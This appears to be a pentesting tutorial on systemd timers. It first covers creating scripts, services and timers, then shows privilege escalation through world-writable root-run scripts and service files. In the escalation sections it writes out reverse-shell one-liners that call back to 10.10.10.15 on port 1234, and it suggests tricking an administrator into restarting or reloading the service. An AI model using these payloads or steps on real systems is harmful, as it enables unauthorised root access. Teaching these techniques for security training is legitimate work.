Timers
Timers are services that perform scheduled tasks at specific time intervals. These could have wrong permissions or could relative paths that could be hijacked.
Timers can be enumerated with the following command:
1
| systemctl list-timers --all
|
Systemd Timers Man Page
The manual page of the systemd.timer is the following:
You can see a table that defines each setting, read it at your own pace if you want to:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| │Setting │ Meaning │
├───────────────────┼──────────────────────────────────────────────────────────────┤
│OnActiveSec= │ Defines a timer relative to the moment the timer unit itself │
│ │ is activated. │
├───────────────────┼──────────────────────────────────────────────────────────────┤
│OnBootSec= │ Defines a timer relative to when the machine was booted up. │
│ │ In containers, for the system manager instance, this is │
│ │ mapped to OnStartupSec=, making both equivalent. │
├───────────────────┼──────────────────────────────────────────────────────────────┤
│OnStartupSec= │ Defines a timer relative to when the service manager was │
│ │ first started. For system timer units this is very similar │
│ │ to OnBootSec= as the system service manager is generally │
│ │ started very early at boot. It's primarily useful when │
│ │ configured in units running in the per-user service manager, │
│ │ as the user service manager is generally started on first │
│ │ login only, not already during boot. │
├───────────────────┼──────────────────────────────────────────────────────────────┤
│OnUnitActiveSec= │ Defines a timer relative to when the unit the timer unit is │
│ │ activating was last activated. │
├───────────────────┼──────────────────────────────────────────────────────────────┤
│OnUnitInactiveSec= │ Defines a timer relative to when the unit the timer unit is │
│ │ activating was last deactivated. │
└───────────────────┴──────────────────────────────────────
|
Timers Schedule
OnCalendar= Defines real-time (i.e. wallclock) timers with calendar event expressions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| minutely → *-*-* *:*:00
hourly → *-*-* *:00:00
daily → *-*-* 00:00:00
monthly → *-*-01 00:00:00
weekly → Mon *-*-* 00:00:00
yearly → *-01-01 00:00:00
quarterly → *-01,04,07,10-01 00:00:00
semiannually → *-01,07-01 00:00:00
|
Creating a Utility
Create a script:
1
| sudo vim /opt/myscript.sh
|
Go into insert mode and write the following code, which prints the date and adds it to the file file.log
:
1
2
3
| #!/bin/bash
echo "The date is: $(date)" >> /home/low/Documents/file.log
|
Add execution permissions to the script:
1
2
3
| sudo chmod +x /opt/myscript.sh
ls -l /opt/myscript.sh
-rwxr-xr-x 1 root root 75 Nov 5 22:32 /opt/myscript.sh
|
Run the script and check the file.log
file:
1
2
3
4
5
| /opt/myscript.sh
ls -l ~/Documents/
total 4
-rw-rw-r-- 1 user user 45 Nov 5 22:32 file.log
|
Read the file:
1
| cat ~/Documents/file.log
|
We can see the date.
Creating a Service
Create a service:
1
| sudo vim /etc/systemd/system/myscript.service
|
Go into insert mode and add the following instructions to run the script myscript.sh
as the root user.
1
2
3
4
5
6
7
8
9
10
11
| [Unit]
Description=My custom script
[Service]
Type=simple
ExecStart=/opt/myscript.sh
User=root # the user that will execute the service
[Install]
WantedBy=multi-user.target
WantedBy=gr
|
Now reload the daemon and start the myscript.service
service:
1
2
| sudo systemctl daemon-reload
sudo systemctl start myscript.service
|
Check the status:
1
| sudo systemctl status myscript.service
|
Analyze Timers
Analyze the timer (this command is not available in Ubuntu 16.04):
1
| systemd-analyze calendar "Thu *-*-* 17:00:00"
|
Creating a Timer
Now create a timer:
1
| sudo vim /etc/systemd/system/myscript.timer
|
Add the following instructions:
1
2
3
4
5
6
7
8
9
10
11
12
13
| [Unit]
Description=My custom script
[Timer]
Unit=myscript.service
OnBootSec=5min # 5 minutes after the system boots
OnUnitActiveSec=15min # Run every 15 minutes after the OnBootSec
OnCalendar=Thu *-*-* 17:00:00 # DayOfWeek Year-Month-Day Hour:Minute:Second
Persistent=true # If the computer was turned off and you turn it on, it will run the service. This means that is persistent with reboots.
[Install]
WantedBy=timers.target # Is a target that starts up during boot automatically
WantedBy=graphical.target # Start the timer when the GUI starts
|
Manage a Timer
Enable a timer:
1
2
3
4
5
6
7
8
9
| user@pwn:~/Desktop$ sudo systemctl daemon-reload
user@pwn:~/Desktop$ sudo systemctl status myscript.timer
● myscript.timer - My custom script
Loaded: loaded (/etc/systemd/system/myscript.timer; disabled; vendor preset: enable>
Active: inactive (dead)
Trigger: n/a
Triggers: ● myscript.service
user@pwn:~/Desktop$ sudo systemctl enable myscript.timer
Created symlink /etc/systemd/system/timers.target.wants/myscript.timer → /etc/systemd/system/myscript.timer.
|
Start a timer:
1
| sudo systemctl start myscript.timer
|
Check the status:
1
2
3
4
5
6
7
8
| user@pwn:~/Desktop$ sudo systemctl status myscript.timer
● myscript.timer - My custom script
Loaded: loaded (/etc/systemd/system/myscript.timer; enabled; vendor preset: enabled)
Active: active (waiting) since Fri 2021-11-05 22:50:46 PDT; 40s ago
Trigger: Fri 2021-11-05 22:52:00 PDT; 33s left
Triggers: ● myscript.service
Nov 05 22:50:46 ubuntu systemd[1]: Started My custom script.
|
Look at the trigger to see how much time is left:
1
| Trigger: Fri 2021-11-05 22:52:00 PDT; 33s left
|
List all the timers:
1
2
| user@pwn:~/Desktop$ systemctl list-timers --all | grep myscript.timer
n/a n/a Fri 2021-11-05 23:02:00 PDT 3min 15s ago myscript.timer myscript.service
|
File timer and service permissions:
1
2
3
4
| user@pwn:~/Desktop$ ls -la /etc/systemd/system/myscript.timer
-rw-r--r-- 1 root root 125 Nov 5 22:48 /etc/systemd/system/myscript.timer
user@pwn:~/Desktop$ ls -la /etc/systemd/system/myscript.service
-rw-r--r-- 1 root root 97 Nov 5 22:35 /etc/systemd/system/myscript.service
|
Privilege Escalation via Writable Executable
Add writable permissions to the script:
1
| sudo chmod o+w /opt/elevate.sh
|
If the script that’s being run by the service is writable, we can just write something malicious to the script like adding a reverse shell code:
1
| user@pwn:~/Desktop$ echo 'bash -i >& /dev/tcp/10.10.10.15/1234 0>&1' >> /opt/elevate.sh
|
To make this work, we need to restart the service. However, if we are in a session with a user who lacks the necessary capabilities or permissions to restart the service, we have a few options: we can either reboot the system, wait for an opportunity, or persuade the system administrator to restart the service for us. Then we could receive the reverse shell:
Privilege Escalation via Writable Timer
A misconfiguration of this is when others have write permissions to the service configuration file:
1
| sudo chmod o+w /etc/systemd/system/elevate.service
|
We’ll then verify the permissions to confirm that the others
group is writable:
1
2
| ls -l /etc/systemd/system/elevate.service
-rwxr-xrwx 1 root root 96 Nov 5 23:16 /etc/systemd/system/elevate.service
|
We’ll create a simple payload:
1
| echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.10.15/1234 0>&1' >> /home/user/evil.sh
|
Then we could edit the service configuration file:
1
2
3
4
5
6
7
8
| user@pwn:~/Desktop$ vim /etc/systemd/system/elevate.service
[Unit]
Description=Elevate Script
[Service]
Type=simple
ExecStart=/home/user/evil.sh
User=root
|
Afterwards, we’ll need to reload the daemon to apply the changes, in the case of the adversary being a user privileged who doesn’t have capabilities or permissions to reset the daemon, then we must wait or trick the administrator into reloading the daemon, alternatively, we may be able to reboot the system:
1
| sudo systemctl daemon-reload
|
The timer can be monitored with the following command:
1
| watch -n 1 sudo systemctl status elevate.timer
|
Then we may receive the reverse shell: